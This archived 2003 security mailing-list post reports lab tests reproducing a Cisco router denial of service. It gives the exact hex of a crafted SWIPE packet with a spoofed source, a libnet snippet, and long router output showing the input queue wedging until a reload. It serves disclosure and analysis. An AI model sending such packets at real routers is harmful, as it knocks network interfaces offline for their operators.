

Full-Disclosure: [Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

[Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2003-07/0703.html>

From: amilabs (amilabs_at_optonline.net)

Date: 07/21/03

To: full-disclosure@lists.netsys.com

Date: Sun, 20 Jul 2003 18:54:54 -0400

From Friday's testing.

This is a bit long for the emails but please read through the whole thing to gain a good understanding of the exploit. Email me directly for the MS formatted Word version. Regards...

AMILABS CISCO IP PROTOCOL EXPLOIT TESTING RESULTS
JULY 18 2003

This is not a typical AMILABS formatted document, due to the importance and severity of such a topic this document has forsaken all the fancy formatting that most of AMI's customers have come to expect.

This document is organized in three simple sections:

Section I Local Exploit Tests

Section II Cumulative Exploit Tests

Section III Remote Multihop Exploit Tests

Summary at bottom of email

As you may be aware of already there is a major security exploit against Cisco router interfaces using either all or one of the following IP protocols with random/useless data in the payload

IP next protocol types 53 SWIPE

55 Mobil IP

77 SUN ND

103 PIM

More details about the exploit are at:

<http://www.cisco.com/warp/public/707/cisco-sa-20030717-blocked.shtml>

Please read the above Cisco advisory before following these document experiment results.

[Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

This document is outlined in a sequential manner for the experiments covered. So, please read through all the sections.

This is a bit long for the group study emails but please read through the whole thing to gain a good understanding of the exploit.

Section I Local Exploit Tests

By using my protocol analyzer Agilent's Network Analyzer create/edit a packet I can easily reproduce the problem and actually cause it without the need for any coding.

The first set of tests were conducted on a local switched segment on a single VLAN with my analyzer and one router. The router named router 4 is a Cisco 2513 running 12.2(1b) Its local Ethernet interface attacked had an IP address of 10.1.1.44 A diagram of my testing from routers 4, 5, and 6 are at <http://www.amilabs.com/labdiagrams.htm>

Below is the basic packet I created.

```
00 E0 1E 60 9C 09 ETHER: Destination: 00-E0-1E-60-9C-09
00 0B 46 37 BA BE ETHER: Source: 00-0B-46-37-BA-BE
08 00 ETHER: Protocol: IP
```

```
----- IP Header -----
45 IP: Version = 4
      IP: Header length = 20
00 IP: Differentiated Services (DS) Field = 0x00
      IP: 0000 00.. DS Codepoint = Default PHB
(0)
      IP: .... ..00 Unused
00 30 IP: Packet length = 48
00 01 IP: Id = 1
00 00 IP: Fragmentation Info = 0x0000
      IP: .0.. .... .... .... Don't Fragment
Bit = FALSE
      IP: ..0. .... .... .... More Fragments
Bit = FALSE
      IP: ...0 0000 0000 0000 Fragment offset =
0
01 IP: Time to live = 1
35 IP: Protocol = 53 (53)
AC 42 IP: Header checksum = AC42 (Verified AC42)
01 01 01 29 IP: Source address = 1.1.1.41
0A 01 01 2C IP: Destination address = 10.1.1.44
08 00 93 8C 00 02 00 03 IP: 28 bytes of data
01 02 03 04 05 06 07 08
09 0A 0B 0C 0D 0E 0F 10
11 12 13 14
```

According to the advisory and the information posted on the full

disclosure mailing list regarding the LIBNET CODE for the test of this exploit the use of a sequence of packets/protocols(mentioned above) and data was presumed. This is not true. I was able to successfully achieve the same results using a single protocol and static data payload.

This excerpt of LIBNET code shows

```
int protocols[] = { 53, 55, 77, 103 };
struct libnet_stats ls;

lh = libnet_init(LIBNET_RAW4, NULL, errbuf);
```

that the protocols mentioned above are used to achieve the exploit state of a remote Cisco interface uses all of them. This is not needed as I will explain shortly. Also the use of RAW4 is the easier interface to use in the Libnet library thus enabling even simpler single protocol versions of this exploit to be created and the IP packet creations function handled by the API and OS drivers.

For those not familiar with LIBNET please read Mike Schiffman's book "Building Open Source Network Security Tools" for more information. A WIN32 version of LIBNET is available from WEBTECA at <http://utenti.lycos.it/webteca/libnet.htm>. Also the official Mike Schiffman Libnet will support win32 environments in release 1.1.1. What does this mean? More script kiddo versions of this exploit out there quickly.

Okay, back to using a protocol analyzer to achieve this exploit.

On this first test I generated SWIPE packets(packet shown earlier) to Router4's basic 10base-T Ethernet interface. The router reached a peak of 28% utilization upon the acceptance of such packets. I sent an unlimited amount for several minutes. Note the spoofed source IP address I used.

As you can see below I filled up the input queue.

```
Ethernet0 is up, line protocol is up
Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
Internet address is 10.1.1.44/8
MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
    reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
ARP type: ARPA, ARP Timeout 04:00:00
Last input 00:00:54, output 00:00:01, output hang never
Last clearing of "show interface" counters 00:13:36
Input queue: 76/75/522/0 (size/max/drops/flushes); Total output drops:
0
Queueing strategy: weighted fair
Output queue: 0/1000/64/0 (size/max total/threshold/drops)
```

Full-Disclosure: [Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

```
Conversations 0/1/256 (active/max active/max total)
Reserved Conversations 0/0 (allocated/max allocated)
Available Bandwidth 7500 kilobits/sec
5 minute input rate 0 bits/sec, 15 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
 13002 packets input, 812791 bytes, 1 no buffer
Received 53 broadcasts, 0 runts, 0 giants, 525 throttles
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
0 input packets with dribble condition detected
125 packets output, 13607 bytes, 0 underruns(0/0/0)
0 output errors, 0 collisions, 1143 interface resets
0 babbles, 0 late collision, 0 deferred
0 lost carrier, 0 no carrier
0 output buffer failures, 0 output buffers swapped out Router4#
```

Router4#sh proc cpu

CPU utilization for five seconds: 26%/11%; one minute: 21%; five minutes: 11%

PID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTY Process

```
1 572 2152 265 0.08% 0.01% 0.00% 0 Load Meter
2 4 3 1333 0.00% 0.00% 0.00% 0 PPP auth
3 59008 2842 20762 0.00% 0.32% 0.39% 0 Check heaps
4 4 1 4000 0.00% 0.00% 0.00% 0 Chunk
```

Manager

```
5 12 5 2400 0.00% 0.00% 0.00% 0 Pool Manager
6 0 2 0 0.00% 0.00% 0.00% 0 Timers
7 4 2 2000 0.00% 0.00% 0.00% 0 Serial
```

Background

```
8 68 196 346 0.00% 0.00% 0.00% 0 ARP Input
9 0 4 0 0.00% 0.00% 0.00% 0 DDR Timers
10 0 2 0 0.00% 0.00% 0.00% 0 Dialer event
11 20 2 10000 0.00% 0.00% 0.00% 0 Entity MIB
```

API

```
12 0 1 0 0.00% 0.00% 0.00% 0 SERIAL
```

A'detect

```
13 4 1 4000 0.00% 0.00% 0.00% 0 Critical
```

Bkgnd

```
14 16212 3848 4213 10.05% 8.42% 3.07% 0 Net
```

Background

Notice the Net Background process – Please refer to the Cisco Press book titled "Inside Cisco IOS Software Architectures" for detail about router process and interface rings and queues. I am not going to go into that in this document, sorry.

Results of this basic packet creation and generation exercise from a protocol analyzer:

- 1). Cannot ping after this condition.. Not to or from router attacked(router4)
- 2). Doing a clear interface command does not help (see output below) 3).

Full-Disclosure: [Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

Doing a shut down and up does not help too (see output below)

A warm reload works(using reload command)

2509#4

[Resuming connection 4 to r4 ...]

Once the interface has been exploited clearing the interface does not help:

Router4#

Router4#clear int e0

Router4#

Router4#

Router4#sh in e0

Ethernet0 is up, line protocol is up

Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)

Internet address is 10.1.1.44/8

MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,

reliability 255/255, txload 1/255, rxload 1/255

Encapsulation ARPA, loopback not set

Keepalive set (10 sec)

ARP type: ARPA, ARP Timeout 04:00:00

Last input 00:04:21, output 00:00:08, output hang never

Last clearing of "show interface" counters 00:17:03

Input queue: 76/75/1912/0 (size/max/drops/flushes); Total output drops: 0

Queueing strategy: weighted fair

Output queue: 0/1000/64/0 (size/max total/threshold/drops)

Conversations 0/1/256 (active/max active/max total)

Reserved Conversations 0/0 (allocated/max allocated)

Available Bandwidth 7500 kilobits/sec

5 minute input rate 0 bits/sec, 0 packets/sec

5 minute output rate 0 bits/sec, 0 packets/sec

13002 packets input, 812791 bytes, 1 no buffer

Received 53 broadcasts, 0 runts, 0 giants, 1912 throttles

0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored

0 input packets with dribble condition detected

155 packets output, 16729 bytes, 0 underruns(0/0/0)

0 output errors, 0 collisions, 3826 interface resets

0 babbles, 0 late collision, 0 deferred

0 lost carrier, 0 no carrier

0 output buffer failures, 0 output buffers swapped out

Shutting down the interface and brining it back up does not help either:

Router4#confi t

Enter configuration commands, one per line. End with CNTL/Z.

Router4(config)#int e0 Router4(config-if)#shut Router4(config-if)#

000535: *Mar 1 03:05:11.835: %LINK-5-CHANGED: Interface Ethernet0, changed state to administratively down

[Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

Full-Disclosure: [Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

```
000536: *Mar 1 03:05:12.835: %LINEPROTO-5-UPDOWN: Line protocol on
Interface Ethernet0, hanged state to down Router4(config-if)#no shut
Router4(config-if)#
000537: *Mar 1 03:05:17.487: %LINK-3-UPDOWN: Interface Ethernet0,
changed state to up
000538: *Mar 1 03:05:18.487: %LINEPROTO-5-UPDOWN: Line protocol on
Interface Ethernet0, hanged state to up
```

```
Router4#sh int e0
Ethernet0 is up, line protocol is up
Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
Internet address is 10.1.1.44/8
MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
  reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
ARP type: ARPA, ARP Timeout 04:00:00
Last input 00:04:58, output 00:00:05, output hang never
Last clearing of "show interface" counters 00:17:40
Input queue: 76/75/1913/0 (size/max/drops/flushes); Total output
drops: 0
Queueing strategy: weighted fair
Output queue: 0/1000/64/0 (size/max total/threshold/drops)
  Conversations 0/1/256 (active/max active/max total)
  Reserved Conversations 0/0 (allocated/max allocated)
  Available Bandwidth 7500 kilobits/sec
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
  13002 packets input, 812791 bytes, 1 no buffer
  Received 53 broadcasts, 0 runts, 0 giants, 1913 throttles
  0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
  0 input packets with dribble condition detected
  170 packets output, 19089 bytes, 0 underruns(0/0/0)
  0 output errors, 0 collisions, 3829 interface resets
  0 babbles, 0 late collision, 0 deferred
  0 lost carrier, 0 no carrier
  0 output buffer failures, 0 output buffers swapped out
```

After clears and shutdowns I tried to ping the router 4 10.1.1.44 exploited interface from a neighboring router(router1) on the same segment.

```
Router4#
2509#1
[Resuming connection 1 to r1 ... ]
..
Router1#
Router1#ping 10.1.1.44
```

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.1.1.44, timeout is 2 seconds:

2509#4

[Resuming connection 4 to r4 ...]

Router4#

Still no luck. I had to do a warm reload of the router to get the interface back.

Now using a spoofed source MAC and a spoofed IP source address.

The same results as above happened within seconds of packet generation. So, only a couple hundred packets sent in several seconds and wham! The interface is out.

Router4#

Router4#

Router4#

Router4#

Router4#sh int e0

Ethernet0 is up, line protocol is up

Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)

Internet address is 10.1.1.44/8

MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,

reliability 255/255, txload 1/255, rxload 1/255

Encapsulation ARPA, loopback not set

Keepalive set (10 sec)

ARP type: ARPA, ARP Timeout 04:00:00

Last input 00:00:05, output 00:00:08, output hang never

Last clearing of "show interface" counters never

Queueing strategy: fifo

Output queue 0/40, 0 drops; input queue 76/75, 142 drops

5 minute input rate 1000 bits/sec, 1 packets/sec

5 minute output rate 0 bits/sec, 0 packets/sec

125 packets input, 12081 bytes, 0 no buffer

Received 28 broadcasts, 0 runts, 0 giants, 142* throttles

0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored

0 input packets with dribble condition detected

87 packets output, 8773 bytes, 0 underruns(0/0/0)

0 output errors, 0 collisions, 304 interface resets

0 babbles, 0 late collision, 0 deferred

0 lost carrier, 0 no carrier

0 output buffer failures, 0 output buffers swapped out Router4#

Router4#sh int e0 Ethernet0 is up, line protocol is up

Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)

Internet address is 10.1.1.44/8

MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,

reliability 255/255, txload 1/255, rxload 1/255

Encapsulation ARPA, loopback not set

Keepalive set (10 sec)

ARP type: ARPA, ARP Timeout 04:00:00

Last input 00:00:10, output 00:00:03, output hang never

```
Last clearing of "show interface" counters never
Queueing strategy: fifo
Output queue 0/40, 0 drops; input queue 76/75, 171 drops
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
 125 packets input, 12081 bytes, 0 no buffer
Received 28 broadcasts, 0 runts, 0 giants, 171* throttles
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
0 input packets with dribble condition detected
88 packets output, 8833 bytes, 0 underruns(0/0/0)
0 output errors, 0 collisions, 362 interface resets
0 babbles, 0 late collision, 0 deferred
0 lost carrier, 0 no carrier
0 output buffer failures, 0 output buffers swapped out Router4#
2509#1 [Resuming connection 1 to r1 ... ]
```

```
Router1#ping 10.1.1.44
```

```
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.1.1.44, timeout is 2 seconds: .....
Success rate is 0 percent (0/5) Router1#
```

What was observed in this test is as follows and is in CAPs to emphasize the behavior.

THE PROBLELM PERSISTS AFTER TRAFFIC IS GENERATED AND CAN GROW EVEN IF THE TRAFFIC IS APPLIED AT A LATER TIME..
WHAT THIS MEANS IS THAT IF I STOP GENERATING TRAFFIC AND THE ROUTER IS STILL IN THE "FROZEN" STATE. I CAN GENRERATE TRAFFIC 10 MINUTES LATER AND THE INTERFACES'S COUTNERS INCREMENT. SEE BELOW SCREEN OUTPOUT. ALSO, LOOK AT THE SH PROC CPU OUTPUT, ESPICALLY THE NET BACKGROUNDER PROCESS.

```
Router4#sh int e0
Ethernet0 is up, line protocol is up
Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
Internet address is 10.1.1.44/8
MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
  reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
ARP type: ARPA, ARP Timeout 04:00:00
Last input 00:05:29, output 00:00:02, output hang never
Last clearing of "show interface" counters never
Queueing strategy: fifo
Output queue 0/40, 0 drops; input queue 76/75, 808 drops
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
 125 packets input, 12081 bytes, 0 no buffer
Received 28 broadcasts, 0 runts, 0 giants, 808* throttles
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
0 input packets with dribble condition detected
```

Full-Disclosure: [Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

```
141 packets output, 14475 bytes, 0 underruns(0/0/0)
0 output errors, 0 collisions, 1636 interface resets
0 babbles, 0 late collision, 0 deferred
0 lost carrier, 0 no carrier
0 output buffer failures, 0 output buffers swapped out Router4#sh
proc cpu CPU utilization for five seconds: 15%/6%; one minute: 11%; five
minutes: 5%
PID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTY Process
1 24 131 183 0.00% 0.00% 0.00% 0 Load Meter
2 8 3 2666 0.00% 0.00% 0.00% 0 PPP auth
3 2452 160 15325 0.00% 0.31% 0.30% 0 Check heaps
4 4 1 4000 0.00% 0.00% 0.00% 0 Chunk
Manager
5 28 5 5600 0.00% 0.00% 0.00% 0 Pool Manager
6 0 2 0 0.00% 0.00% 0.00% 0 Timers
7 8 3 2666 0.00% 0.00% 0.00% 0 Serial
Background
8 24 21 1142 0.00% 0.00% 0.00% 0 ARP Input
9 0 4 0 0.00% 0.00% 0.00% 0 DDR Timers
10 0 2 0 0.00% 0.00% 0.00% 0 Dialer event
11 24 2 12000 0.00% 0.00% 0.00% 0 Entity MIB
API
12 0 1 0 0.00% 0.00% 0.00% 0 SERIAL
A'detect
13 4 1 4000 0.00% 0.00% 0.00% 0 Critical
Bkgnd
14 4576 1274 3591 8.51% 3.11% 0.97% 0 Net
Background
15 24 16 1500 0.00% 0.00% 0.00% 0 Logger
16 188 643 292 0.00% 0.00% 0.00% 0 TTY
Background
17 136 687 197 0.00% 0.02% 0.00% 0 Per-Second
Jobs
18 116 206 563 0.00% 0.00% 0.00% 0 Net Input
19 32 132 242 0.00% 0.01% 0.00% 0 Compute load
avg
20 1072 14 76571 0.00% 0.10% 0.11% 0 Per-minute
Jobs
21 0 1 0 0.00% 0.00% 0.00% 0 AAA
Dictionary R
--More--
```

I STOPPED TRANSMITTING FOR SEVERAL MINUTES

Now no traffic is generated towards the exploited interface in a hung mode.

Now I do a show interface

```
Router4#sh int e0
Ethernet0 is up, line protocol is up
Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9
```

[Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

Full-Disclosure: [Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

```
Internet address is 10.1.1.44/8
MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
  reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
ARP type: ARPA, ARP Timeout 04:00:00
Last input 00:08:41, output 00:00:04, output hang never
Last clearing of "show interface" counters never
Queueing strategy: fifo
Output queue 0/40, 0 drops; input queue 76/75, 1396 drops
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
  125 packets input, 12081 bytes, 0 no buffer
Received 28 broadcasts, 0 runts, 0 giants, 1396 throttles
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
0 input packets with dribble condition detected
169 packets output, 17460 bytes, 0 underruns(0/0/0)
0 output errors, 0 collisions, 2813 interface resets
0 babbles, 0 late collision, 0 deferred
0 lost carrier, 0 no carrier
0 output buffer failures, 0 output buffers swapped out
```

Notice the above drop count!!!

Now I will generate the SWIPE traffic again..

```
Ethernet0 is up, line protocol is up
Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
Internet address is 10.1.1.44/8
MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
  reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
ARP type: ARPA, ARP Timeout 04:00:00
Last input 00:09:50, output 00:00:03, output hang never
Last clearing of "show interface" counters never
Queueing strategy: fifo
Output queue 0/40, 0 drops; input queue 76/75, 1701 drops
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
  125 packets input, 12081 bytes, 0 no buffer
Received 28 broadcasts, 0 runts, 0 giants, 1701* throttles
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
0 input packets with dribble condition detected
181 packets output, 18755 bytes, 0 underruns(0/0/0)
0 output errors, 0 collisions, 3422 interface resets
0 babbles, 0 late collision, 0 deferred
0 lost carrier, 0 no carrier
0 output buffer failures, 0 output buffers swapped out Router4#
```

notice the drops count increased!!

Full-Disclosure: [Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

What this means is that the interface is not fully hung for it is still accepting the exploited packets even after the queue limit has been reached.

I then reloaded the router.

Section II Cumulative Exploit Tests

I DISCOVERED THAT THE PROBLEM IS CUMULATIVE IN TERMS OF PACKET COUNT AND NOT JUST A FLOODING OF INPUT. WHAT I DID WAS GENERATE ONE SWIPE PACKET AT A TIME AND WATCHED THE INPUT QUEUE INCREASE PACKET BY PACKET.

THERE IS A 1:1 RATIO OF QUEUE SPACE ALLOCATION PER ONE EXPLOITED PACKET (SWIPE, PIM, MOBILE OR SUN) RECEIVED AND ONE QUEUE SPACE ALLOCATION. AS AN EXPLOITED PACKET IS RECEIVED ONE AT A TIME ONE INPUT QUEUE UNIT IS ALLOCATED AT A TIME.

THIS DOES NOT HAVE TO HAPPEN ALL AT ONCE. IT COULD BE HOURS OR DAYS. I SENT A SINGLE EXPLOITED PACKET ONE AT A TIME UNTIL THE CONDITION OF 76/75 WAS REACHED AFTER THAT THE ROUTER INTERFACE IS HUNG. SEE BELOW:

STATE BEFORE SENDING OF SWIPE PACKET ONE AT A TIME FROM PROTOCOL ANALYZER

```
Router4#  
Router4#sh int e0  
Ethernet0 is up, line protocol is up  
Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)  
Internet address is 10.1.1.44/8  
MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,  
  reliability 255/255, txload 1/255, rxload 1/255  
Encapsulation ARPA, loopback not set  
Keepalive set (10 sec)  
ARP type: ARPA, ARP Timeout 04:00:00  
Last input 00:00:25, output 00:00:02, output hang never  
Last clearing of "show interface" counters 00:00:08  
Queueing strategy: fifo  
Output queue 0/40, 0 drops; input queue 0/75, 0 drops  
5 minute input rate 0 bits/sec, 0 packets/sec  
5 minute output rate 0 bits/sec, 0 packets/sec  
  0 packets input, 0 bytes, 0 no buffer  
  Received 0 broadcasts, 0 runts, 0 giants, 0 throttles  
  0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored  
  0 input packets with dribble condition detected  
  2 packets output, 415 bytes, 0 underruns(0/0/0)  
  0 output errors, 0 collisions, 0 interface resets  
  0 babbles, 0 late collision, 0 deferred  
  0 lost carrier, 0 no carrier  
  0 output buffer failures, 0 output buffers swapped out
```

AFTER FIRST SWIPE PACKET IS RECEIVED

Notice the input queue count

```
Ethernet0 is up, line protocol is up
Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
Internet address is 10.1.1.44/8
MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
  reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
ARP type: ARPA, ARP Timeout 04:00:00
Last input 00:00:01, output 00:00:08, output hang never
Last clearing of "show interface" counters 00:00:34
Queueing strategy: fifo
Output queue 0/40, 0 drops; input queue 1/75, 0 drops
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
  3 packets input, 510 bytes, 0 no buffer
Received 2 broadcasts, 0 runts, 0 giants, 0 throttles
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
0 input packets with dribble condition detected
4 packets output, 535 bytes, 0 underruns(0/0/0)
0 output errors, 0 collisions, 0 interface resets
0 babbles, 0 late collision, 0 deferred
0 lost carrier, 0 no carrier
0 output buffer failures, 0 output buffers swapped out
```

AFTER SECOND PACKET RECEIVED

Notice the input queue count

```
Router4#sh int e0
Ethernet0 is up, line protocol is up
Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
Internet address is 10.1.1.44/8
MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
  reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
ARP type: ARPA, ARP Timeout 04:00:00
Last input 00:00:01, output 00:00:05, output hang never
Last clearing of "show interface" counters 00:00:41
Queueing strategy: fifo
Output queue 0/40, 0 drops; input queue 2/75, 0 drops
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
  4 packets input, 572 bytes, 0 no buffer
Received 2 broadcasts, 0 runts, 0 giants, 0 throttles
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
0 input packets with dribble condition detected
5 packets output, 595 bytes, 0 underruns(0/0/0)
0 output errors, 0 collisions, 0 interface resets
```

Full-Disclosure: [Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

0 babbles, 0 late collision, 0 deferred
0 lost carrier, 0 no carrier
0 output buffer failures, 0 output buffers swapped out

AFTER THIRD PACKET RECEIVED

Notice the input queue count

```
Router4#sh int e0
Ethernet0 is up, line protocol is up
Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
Internet address is 10.1.1.44/8
MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
  reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
ARP type: ARPA, ARP Timeout 04:00:00
Last input 00:00:00, output 00:00:02, output hang never
Last clearing of "show interface" counters 00:00:48
Queueing strategy: fifo
Output queue 0/40, 0 drops; input queue 3/75, 0 drops
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
  6 packets input, 694 bytes, 0 no buffer
  Received 3 broadcasts, 0 runts, 0 giants, 0 throttles
  0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
  0 input packets with dribble condition detected
  6 packets output, 655 bytes, 0 underruns(0/0/0)
  0 output errors, 0 collisions, 0 interface resets
  0 babbles, 0 late collision, 0 deferred
  0 lost carrier, 0 no carrier
  0 output buffer failures, 0 output buffers swapped out
```

AFTER FOURTH PACKET RECEIVED

Notice the input queue count

```
Router4#sh int e0
Ethernet0 is up, line protocol is up
Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
Internet address is 10.1.1.44/8
MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
  reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
ARP type: ARPA, ARP Timeout 04:00:00
Last input 00:00:01, output 00:00:07, output hang never
Last clearing of "show interface" counters 00:00:53
Queueing strategy: fifo
Output queue 0/40, 0 drops; input queue 4/75, 0 drops
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
  7 packets input, 756 bytes, 0 no buffer
```

[Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

Full-Disclosure: [Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

```
Received 3 broadcasts, 0 runts, 0 giants, 0 throttles
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
0 input packets with dribble condition detected
6 packets output, 655 bytes, 0 underruns(0/0/0)
0 output errors, 0 collisions, 0 interface resets
0 babbles, 0 late collision, 0 deferred
0 lost carrier, 0 no carrier
0 output buffer failures, 0 output buffers swapped out
```

AFTER FIFTH PACKET RECEIVED

Notice the input queue count

```
Router4#sh int e0
```

```
Ethernet0 is up, line protocol is up
Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
Internet address is 10.1.1.44/8
MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
  reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
ARP type: ARPA, ARP Timeout 04:00:00
Last input 00:00:01, output 00:00:01, output hang never
Last clearing of "show interface" counters 00:00:58
Queueing strategy: fifo
Output queue 0/40, 0 drops; input queue 5/75, 0 drops
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
 8 packets input, 818 bytes, 0 no buffer
Received 3 broadcasts, 0 runts, 0 giants, 0 throttles
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
0 input packets with dribble condition detected
9 packets output, 975 bytes, 0 underruns(0/0/0)
0 output errors, 0 collisions, 0 interface resets
0 babbles, 0 late collision, 0 deferred
0 lost carrier, 0 no carrier
0 output buffer failures, 0 output buffers swapped out Router4#
```

```
Router4#
```

THEN I RAN A PING TO A NEIGIBORING ROUTER FROM THE ATTACKED ROUTER, ALL STILL GOOD. Router4#ping 10.1.1.41

Type escape sequence to abort.

Sending 5, 100-byte ICMP Echos to 10.1.1.41, timeout is 2 seconds: !!!!!

Success rate is 100 percent (5/5), round-trip min/avg/max = 4/4/8 ms

I WAS TOO LAZY TO SEND THE NEXT 70 PACKETS INDIVIDUALLY SO I SENT 70 IN A ROW

Notice the input queue count now!!!

Full-Disclosure: [Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

```
Router4#sh int e0
Ethernet0 is up, line protocol is up
Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
Internet address is 10.1.1.44/8
MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
  reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
ARP type: ARPA, ARP Timeout 04:00:00
Last input 00:00:00, output 00:00:07, output hang never
Last clearing of "show interface" counters 00:01:33
Queueing strategy: fifo
Output queue 0/40, 0 drops; input queue 75/75, 0 drops
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
 86 packets input, 6419 bytes, 0 no buffer
  Received 6 broadcasts, 0 runts, 0 giants, 0 throttles
  0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
  0 input packets with dribble condition detected
 18 packets output, 2080 bytes, 0 underruns(0/0/0)
  0 output errors, 0 collisions, 0 interface resets
  0 babbles, 0 late collision, 0 deferred
  0 lost carrier, 0 no carrier
  0 output buffer failures, 0 output buffers swapped out
```

WE REACHED THE UPPER LIMIT AND STILL GOOD. I can still ping from the attacked router.

```
Router4#ping 10.1.1.41
```

```
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.1.1.41, timeout is 2 seconds: !!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/3/4 ms
Router4#ping 10.1.1.41
```

```
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.1.1.41, timeout is 2 seconds: !!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 4/4/4 ms
```

